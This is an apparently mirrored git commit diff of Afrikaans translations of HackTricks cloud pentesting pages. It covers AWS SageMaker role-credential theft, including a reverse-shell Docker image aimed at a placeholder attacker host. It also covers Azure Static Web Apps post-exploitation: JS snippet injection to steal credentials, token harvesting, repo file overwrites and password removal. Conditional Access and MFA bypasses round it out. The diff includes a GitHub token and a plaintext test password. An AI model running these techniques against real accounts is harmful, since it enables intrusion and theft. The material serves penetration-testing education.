mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 13:13:06 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -12,7 +12,7 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
Die antwoord moet 'n `NotebookInstanceArn` veld bevat, wat die ARN van die nuut geskepte notaboekinstansie sal bevat. Ons kan dan die `create-presigned-notebook-instance-url` API gebruik om 'n URL te genereer wat ons kan gebruik om toegang te verkry tot die notaboekinstansie sodra dit gereed is:
|
||||
Die antwoord moet 'n `NotebookInstanceArn` veld bevat, wat die ARN van die nuut geskepte notaboekinstansie sal bevat. Ons kan dan die `create-presigned-notebook-instance-url` API gebruik om 'n URL te genereer wat ons kan gebruik om toegang tot die notaboekinstansie te verkry sodra dit gereed is:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
@@ -25,7 +25,7 @@ Nou is dit moontlik om toegang te verkry tot die metadata geloofsbriewe van die
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
As daar Jupyter **notebooks reeds aan die gang is** daarop en jy kan hulle lys met `sagemaker:ListNotebookInstances` (of hulle op enige ander manier ontdek). Jy kan **'n URL vir hulle genereer, toegang tot hulle verkry, en die geloofsbriewe steel soos aangedui in die vorige tegniek**.
|
||||
As daar Jupyter **notebooks reeds aan die gang is** en jy kan hulle lys met `sagemaker:ListNotebookInstances` (of hulle op enige ander manier ontdek). Jy kan **'n URL vir hulle genereer, toegang tot hulle verkry, en die geloofsbriewe steel soos aangedui in die vorige tegniek**.
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
|
||||
|
||||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||||
|
||||
'n Aanvaller met daardie toestemmings kan **sagemaker 'n verwerkingswerk** uitvoer met 'n sagemaker rol wat daaraan geheg is. Die aanvaller kan die definisie van die houer aandui wat in 'n **AWS bestuurde ECS rekening instance** uitgevoer sal word, en **die geloofsbriewe van die IAM rol wat aangeheg is, steel**.
|
||||
'n Aanvaller met daardie toestemmings kan **sagemaker 'n verwerkingswerk** laat uitvoer met 'n sagemaker rol wat daaraan geheg is. Die aanvaller kan die definisie van die houer aandui wat in 'n **AWS bestuurde ECS rekening instansie** uitgevoer sal word, en **die geloofsbriewe van die aangehegte IAM rol steel**.
|
||||
```bash
|
||||
# I uploaded a python docker image to the ECR
|
||||
aws sagemaker create-processing-job \
|
||||
@@ -52,13 +52,13 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
|
||||
'n Aanvaller met daardie toestemmings sal in staat wees om 'n opleidingswerk te skep, **wat 'n arbitrêre houer** daarop laat loop met 'n **rol wat daaraan geheg is**. Daarom sal die aanvaller in staat wees om die akrediteer van die rol te steel.
|
||||
|
||||
> [!WARNING]
|
||||
> Hierdie scenario is moeiliker om te benut as die vorige een omdat jy 'n Docker beeld moet genereer wat die rev shell of krediete direk na die aanvaller sal stuur (jy kan nie 'n beginopdrag in die konfigurasie van die opleidingswerk aandui nie).
|
||||
> Hierdie scenario is moeiliker om te benut as die vorige een omdat jy 'n Docker-beeld moet genereer wat die rev shell of krediete direk na die aanvaller sal stuur (jy kan nie 'n beginopdrag in die konfigurasie van die opleidingswerk aandui nie).
|
||||
>
|
||||
> ```bash
|
||||
> # Skep docker beeld
|
||||
> mkdir /tmp/rev
|
||||
> ## Let daarop dat die opleidingswerk 'n uitvoerbare genaamd "train" gaan aanroep
|
||||
> ## Daarom plaas ek die rev shell in /bin/train
|
||||
> ## Dit is waarom ek die rev shell in /bin/train plaas
|
||||
> ## Stel die waardes van <YOUR-IP-OR-DOMAIN> en <YOUR-PORT>
|
||||
> cat > /tmp/rev/Dockerfile <<EOF
|
||||
> FROM ubuntu
|
||||
@@ -94,8 +94,8 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
'n Aanvaller met daardie toestemmings sal (potensieel) in staat wees om 'n **hyperparameter opleidingswerk** te skep, **wat 'n arbitrêre houer** daarop laat loop met 'n **rol aangeheg** daaraan.\
|
||||
&#xNAN;_I het nie uitgebuit nie weens die gebrek aan tyd, maar dit lyk soortgelyk aan die vorige uitbuitings, voel vry om 'n PR met die uitbuitingsbesonderhede te stuur._
|
||||
'n Aanvaller met daardie toestemmings sal (potensieel) in staat wees om 'n **hyperparameter opleidingswerk** te skep, **'n arbitrêre houer** daarop te laat loop met 'n **rol aangeheg** daaraan.\
|
||||
_Ek het nie uitgebuit nie weens die gebrek aan tyd, maar dit lyk soortgelyk aan die vorige uitbuitings, voel vry om 'n PR met die uitbuitingsbesonderhede te stuur._
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
# Az - Statiese Web Apps Post Exploitatie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Statiese Web Apps
|
||||
|
||||
Vir meer inligting oor hierdie diens, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Dit is moontlik om 'n statiese webblad te laat laai arbitraire HTML-kode deur 'n snit te skep. Dit kan 'n aanvaller toelaat om JS-kode binne die webtoepassing in te voeg en sensitiewe inligting soos geloofsbriewe of mnemonic sleutels (in web3 beursies) te steel.
|
||||
|
||||
Die volgende opdrag skep 'n snit wat altyd deur die webtoepassing gelaai sal word::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Lees Geconfigureerde Derdeparty Kredensiale
|
||||
|
||||
Soos verduidelik in die App Service afdeling:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Deur die volgende opdrag uit te voer, is dit moontlik om **die derdeparty kredensiale** wat in die huidige rekening geconfigureer is, te lees. Let daarop dat as daar byvoorbeeld sommige Github kredensiale in 'n ander gebruiker geconfigureer is, jy nie die token van 'n ander een sal kan bekom nie.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Hierdie opdrag gee tokens terug vir Github, Bitbucket, Dropbox en OneDrive.
|
||||
|
||||
Hier is 'n paar opdragvoorbeelde om die tokens te kontroleer:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Oorskrywe lêer - Oorskrywe roetes, HTML, JS...
|
||||
|
||||
Dit is moontlik om **'n lêer binne die Github repo** wat die app bevat, deur Azure te oorskrywe deur die **Github token** 'n versoek te stuur soos die volgende wat die pad van die lêer om te oorskrywe, die inhoud van die lêer en die verbintenisboodskap sal aandui.
|
||||
|
||||
Dit kan deur aanvallers misbruik word om basies **die inhoud van die web app te verander** om kwaadwillige inhoud te dien (steel geloofsbriewe, mnemonic sleutels...) of net om **sekere pades** na hul eie bedieners te herlei deur die `staticwebapp.config.json` lêer te oorskrywe.
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat as 'n aanvaller daarin slaag om die Github repo op enige manier te kompromitteer, hulle ook die lêer direk vanaf Github kan oorskrywe.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Met hierdie toestemming is dit moontlik om die **wagwoord** wat 'n statiese webtoepassing beskerm, te **wysig** of selfs elke omgewing te ontprotect deur 'n versoek soos die volgende te stuur:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Hierdie toestemming laat toe om die **API sleutel ontplooiingstoken** vir die statiese app te verkry.
|
||||
|
||||
Hierdie token laat toe om die app te ontplooi.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Dan, om 'n app op te dateer, kan jy die volgende opdrag uitvoer. Let daarop dat hierdie opdrag verkry is deur te kyk **hoe Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) werk**, aangesien dit die een is wat Azure standaard ingestel het om te gebruik. So die beeld en betalings kan in die toekoms verander.
|
||||
|
||||
1. Laai die repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) af (of enige ander repo wat jy wil ontplooi) en voer `cd react-basic` uit.
|
||||
2. Verander die kode wat jy wil ontplooi
|
||||
3. Ontplooi dit deur (Onthou om die `<api-token>` te verander):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Met hierdie toestemming is dit moontlik om die **bron van die statiese webtoepassing na 'n ander Github-repo te verander**, egter, dit sal nie outomaties voorsien word nie, aangesien dit gewoonlik vanaf 'n Github-aksie gedoen moet word met die token wat die aksie gemagtig het, aangesien hierdie token nie outomaties binne die Github-geheime van die repo opgedateer word nie (dit word net outomaties bygevoeg wanneer die toepassing geskep word).
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Met hierdie toestemming is dit moontlik om die **API-sleutel van die statiese webtoepassing te reset**, wat moontlik die werkvloei wat die toepassing outomaties ontplooi, kan DoS.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -9,42 +9,42 @@ Voorwaardelike toegang beleide **definieer** basies **Wie** kan toegang hê tot
|
||||
|
||||
Hier is 'n paar voorbeelde:
|
||||
|
||||
1. **Aanmeld Risiko Beleid**: Hierdie beleid kan ingestel word om multi-faktor verifikasie (MFA) te vereis wanneer 'n aanmeld risiko opgespoor word. Byvoorbeeld, as 'n gebruiker se aanmeldgedrag ongewoon is in vergelyking met hul gereelde patroon, soos om van 'n ander land aan te meld, kan die stelsel vra vir addisionele verifikasie.
|
||||
1. **Aanmeld Risiko Beleid**: Hierdie beleid kan ingestel word om multi-faktor verifikasie (MFA) te vereis wanneer 'n aanmeld risiko opgespoor word. Byvoorbeeld, as 'n gebruiker se aanmeldgedrag ongewoon is in vergelyking met hul gereelde patroon, soos om van 'n ander land aan te meld, kan die stelsel vra om addisionele verifikasie.
|
||||
2. **Toestel Nakoming Beleid**: Hierdie beleid kan toegang tot Azure-dienste beperk slegs tot toestelle wat voldoen aan die organisasie se sekuriteitsstandaarde. Byvoorbeeld, toegang kan slegs toegestaan word vanaf toestelle wat opdatering antivirus sagteware het of 'n sekere bedryfstelsel weergawe gebruik.
|
||||
|
||||
## Voorwaardelike Toegang Beleide Omseilings
|
||||
|
||||
Dit is moontlik dat 'n voorwaardelike toegang beleid **sekere inligting nagaan wat maklik gemanipuleer kan word wat 'n omseiling van die beleid toelaat**. En as die beleid byvoorbeeld MFA geconfigureer het, sal die aanvaller in staat wees om dit te omseil.
|
||||
Dit is moontlik dat 'n voorwaardelike toegang beleid **sekere inligting nagaan wat maklik gemanipuleer kan word, wat 'n omseiling van die beleid moontlik maak**. En as die beleid byvoorbeeld MFA geconfigureer het, sal die aanvaller in staat wees om dit te omseil.
|
||||
|
||||
Wanneer 'n voorwaardelike toegang beleid geconfigureer word, is dit nodig om die **gebruikers** wat geraak word en **teiken hulpbronne** (soos alle wolk toepassings) aan te dui.
|
||||
Wanneer 'n voorwaardelike toegang beleid geconfigureer word, is dit nodig om die **gebruikers** wat geraak word en **teikenhulpbronne** (soos alle wolk toepassings) aan te dui.
|
||||
|
||||
Dit is ook nodig om die **voorwaardes** te configureer wat die beleid sal **aktiveer**:
|
||||
|
||||
- **Netwerk**: IP, IP-reekse en geografiese liggings
|
||||
- Kan omseil word deur 'n VPN of Proxy te gebruik om met 'n land te verbind of deur te probeer aanmeld vanaf 'n toegelate IP-adres
|
||||
- Kan omseil word deur 'n VPN of Proxy te gebruik om met 'n land te verbind of te probeer om vanaf 'n toegelate IP-adres aan te meld
|
||||
- **Microsoft risiko's**: Gebruiker risiko, Aanmeld risiko, Insider risiko
|
||||
- **Toestel platforms**: Enige toestel of kies Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- As “Enige toestel” nie gekies is nie, maar al die ander opsies gekies is, is dit moontlik om dit te omseil deur 'n ewekansige gebruiker-agent te gebruik wat nie met daardie platforms verband hou nie
|
||||
- **Kliënt toepassings**: Opsies is “Blaaier”, “Mobiele toepassings en desktop kliënte”, “Exchange ActiveSync kliënte” en Ander kliënte”
|
||||
- As “Enige toestel” nie gekies is nie, maar al die ander opsies gekies is, is dit moontlik om dit te omseil deur 'n ewekansige gebruikersagent te gebruik wat nie met daardie platforms verband hou nie
|
||||
- **Kliënt toepassings**: Opsies is “Blaaier”, “Mobiele toepassings en desktop kliënte”, “Exchange ActiveSync kliënte” en “Ander kliënte”
|
||||
- Om aanmelding te omseil met 'n nie-geselecteerde opsie
|
||||
- **Filter vir toestelle**: Dit is moontlik om 'n reël te genereer wat verband hou met die gebruikte toestel
|
||||
- **Verifikasie vloei**: Opsies is “Toestel kode vloei” en “Verifikasie oordrag”
|
||||
- Dit sal nie 'n aanvaller beïnvloed nie tensy hy probeer om enige van daardie protokolle in 'n phishing poging te misbruik om toegang tot die slagoffer se rekening te verkry
|
||||
- Dit sal nie 'n aanvaller beïnvloed nie, tensy hy probeer om enige van daardie protokolle in 'n phishing poging te misbruik om toegang tot die slagoffer se rekening te verkry
|
||||
|
||||
Die moontlike **resultate** is: Blokkeer of Gee toegang met potensiële voorwaardes soos vereis MFA, toestel moet nakom…
|
||||
Die moontlike **resultate** is: Blokkeer of Gee toegang met potensiële voorwaardes soos vereis MFA, toestel moet nakom...
|
||||
|
||||
### Toestel Platforms - Toestel Voorwaarde
|
||||
|
||||
Dit is moontlik om 'n voorwaarde in te stel gebaseer op die **toestel platform** (Android, iOS, Windows, macOS...), egter, dit is gebaseer op die **gebruiker-agent** so dit is maklik om te omseil. Selfs **om al die opsies MFA af te dwing**, as jy 'n **gebruiker-agent gebruik wat nie erken word nie,** sal jy in staat wees om die MFA of blokkeer te omseil:
|
||||
Dit is moontlik om 'n voorwaarde in te stel gebaseer op die **toestelplatform** (Android, iOS, Windows, macOS...), egter, dit is gebaseer op die **gebruikersagent** so dit is maklik om te omseil. Selfs **om al die opsies MFA af te dwing**, as jy 'n **gebruikersagent gebruik wat nie erken word nie,** sal jy in staat wees om die MFA of blokkeer te omseil:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Net om die blaaier **'n onbekende gebruiker-agent te laat stuur** (soos `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is genoeg om hierdie voorwaarde nie te aktiveer nie.\
|
||||
Jy kan die gebruiker-agent **handmatig** in die ontwikkelaar gereedskap verander:
|
||||
Net om die blaaier **'n onbekende gebruikersagent te laat stuur** (soos `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is genoeg om hierdie voorwaarde nie te aktiveer nie.\
|
||||
Jy kan die gebruikersagent **handmatig** in die ontwikkelaar gereedskap verander:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Of gebruik 'n [blaaier uitbreiding soos hierdie een](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
Of gebruik 'n [blaaier uitbreiding soos hierdie een](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Ligging: Lande, IP-reekse - Toestel Voorwaarde
|
||||
|
||||
@@ -57,9 +57,9 @@ Dit is moontlik om **voorwaardelike toegang beleide te configureer om te blokkee
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Om te probeer om hierdie beskerming te omseil, moet jy kyk of jy **slegs in enige toepassing** kan aanmeld.\
|
||||
Die hulpmiddel [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) het **tens van toepassings-ID's hardcoded** en sal probeer om in hulle aan te meld en jou laat weet en selfs die token gee as dit suksesvol is.
|
||||
Die hulpmiddel [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) het **tens of toepassings-ID's hardcoded** en sal probeer om in hulle aan te meld en jou laat weet en selfs die token gee as dit suksesvol is.
|
||||
|
||||
Om **spesifieke toepassings-ID's in spesifieke hulpbronne te toets**, kan jy ook 'n hulpmiddel soos gebruik:
|
||||
Om **spesifieke toepassings-ID's in spesifieke hulpbronne te toets**, kan jy ook 'n hulpmiddel soos:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
@@ -75,7 +75,7 @@ Die hulpmiddel [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kan ook gebru
|
||||
|
||||
### Ringtone
|
||||
|
||||
Een Azure MFA opsie is om **'n oproep te ontvang op die geconfigureerde telefoonnommer** waar die gebruiker gevra sal word om die karakter `#` te **stuur**.
|
||||
Een Azure MFA opsie is om **'n oproep in die geconfigureerde telefoonnommer te ontvang** waar die gebruiker gevra sal word om die karakter `#` te **stuur**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Aangesien karakters net **tones** is, kan 'n aanvaller die **voicemail** boodskap van die telefoonnommer **kompromitteer**, die boodskap as die **toon van `#`** konfigureer en dan, wanneer die MFA aangevra word, seker maak dat die **slagoffer se telefoon besig is** (dit bel) sodat die Azure oproep na die voicemail omgelei word.
|
||||
@@ -104,9 +104,9 @@ Vind meer inligting oor hierdie tipe aanval op die volgende bladsy:
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
Hierdie skrip verkry 'n paar gebruikersakkrediteer en kyk of dit kan aanmeld in 'n paar toepassings.
|
||||
Hierdie skrip verkry 'n paar gebruikersakkrediteer en kyk of dit kan aanmeld in sommige toepassings.
|
||||
|
||||
Dit is nuttig om te sien of jy **nie MFA benodig om aan te meld in 'n paar toepassings nie** wat jy later mag misbruik om **privilegies te verhoog**.
|
||||
Dit is nuttig om te sien of jy **nie MFA benodig om aan te meld in sommige toepassings nie** wat jy later mag misbruik om **privilegies te verhoog**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
@@ -116,7 +116,7 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep is 'n PowerShell-skrip wat probeer om **in te log op verskeie Microsoft-dienste met 'n verskafde stel geloofsbriewe en sal probeer om te identifiseer of MFA geaktiveer is**. Afhangende van hoe voorwaardelike toegangbeleide en ander multi-faktor verifikasie-instellings geconfigureer is, kan sommige protokolle eindig as 'n enkele faktor. Dit het ook 'n addisionele kontrole vir ADFS-konfigurasies en kan probeer om in te log op die plaaslike ADFS-bediener indien opgespoor.
|
||||
MFASweep is 'n PowerShell-skrip wat probeer om **in te log op verskeie Microsoft-dienste met 'n verskafde stel geloofsbriewe en sal probeer om te identifiseer of MFA geaktiveer is**. Afhangende van hoe voorwaardelike toegangbeleide en ander multi-faktor verifikasie-instellings geconfigureer is, kan sommige protokolle eindig as enkel-faktor. Dit het ook 'n addisionele kontrole vir ADFS-konfigurasies en kan probeer om in te log op die on-prem ADFS-bediener indien opgespoor.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
@@ -126,7 +126,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API's in verskeie produksie AAD-huurders te misbruik, waar AAD-klante geglo het dat hulle MFA afgedwing het, maar ROPC-gebaseerde outentisering suksesvol was.
|
||||
|
||||
> [!TIP]
|
||||
> Jy moet toestemming hê om al die toepassings te lys om die lys van die toepassings te genereer wat gebruteforce kan word.
|
||||
> Jy moet toestemming hê om al die toepassings te lys om die lys van die toepassings te genereer om te brute-force.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -135,25 +135,25 @@ Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API's in
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token is 'n stel funksies wat daarop gemik is om sekuriteitskonsultante te help wat die Validiteit van Voorwaardelike Toegang Beleide moet toets, toetse vir 2FA-geaktiveerde Microsoft-portale, ens.
|
||||
Donkey token is 'n stel funksies wat daarop gemik is om sekuriteitskonsultante te help wat Conditional Access Policies moet valideer, toetse vir 2FA-geaktiveerde Microsoft-portale, ens.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Toets elke portaal** of dit moontlik is om **sonder MFA aan te meld**:
|
||||
**Toets elke portaal** of dit moontlik is om te **log in sonder MFA**:
|
||||
```powershell
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
Omdat die **Azure** **portaal** **nie beperk** is nie, is dit moontlik om 'n **token van die portaal eindpunt te versamel om toegang te verkry tot enige diens wat deur die vorige uitvoering opgespoor is**. In hierdie geval is Sharepoint geïdentifiseer, en 'n token om toegang daartoe te verkry, word aangevra:
|
||||
Omdat die **Azure** **portaal** **nie beperk nie**, is dit moontlik om 'n **token van die portaal-eindpunt te versamel om toegang te verkry tot enige diens wat deur die vorige uitvoering opgespoor is**. In hierdie geval is Sharepoint geïdentifiseer, en 'n token om toegang daartoe te verkry, word aangevra:
|
||||
```powershell
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
As jy aanvaar dat die token die toestemming Sites.Read.All (van Sharepoint) het, selfs al kan jy nie Sharepoint vanaf die web toegang nie weens MFA, is dit moontlik om die token te gebruik om toegang tot die lêers met die gegenereerde token te verkry:
|
||||
As jy aanvaar dat die token die toestemming Sites.Read.All (van Sharepoint) het, selfs al kan jy nie Sharepoint vanaf die web toegang nie weens MFA, is dit moontlik om die token te gebruik om toegang tot die lêers te verkry met die gegenereerde token:
|
||||
```powershell
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Statiese Web Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Statiese Web Apps Basiese Inligting
|
||||
|
||||
Azure Static Web Apps is 'n wolkdienste vir die aanbied van **statiese web apps met outomatiese CI/CD vanaf repositories soos GitHub**. Dit bied globale inhoudsaflewering, serverless agtergronde, en ingeboude HTTPS, wat dit veilig en skaalbaar maak. egter, risiko's sluit verkeerd geconfigureerde CORS, onvoldoende verifikasie, en inhoudsmanipulasie in, wat apps aan aanvalle soos XSS en datalekke kan blootstel as dit nie behoorlik bestuur word nie.
|
||||
|
||||
> [!TIP]
|
||||
> Wanneer 'n Statiese App geskep word, kan jy die **ontplooiing outorisering beleid** tussen **Ontplooiingstoken** en **GitHub Actions werksvloei** kies.
|
||||
|
||||
|
||||
### Web App Verifikasie
|
||||
|
||||
Dit is moontlik om 'n **wagwoord te konfigureer** om toegang tot die Web App te verkry. Die webkonsol laat jou toe om dit te konfigureer om slegs staging omgewings of beide staging en die produksie omgewing te beskerm.
|
||||
|
||||
So lyk 'n wagwoord beskermde web app op die tyd van skryf:
|
||||
|
||||
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
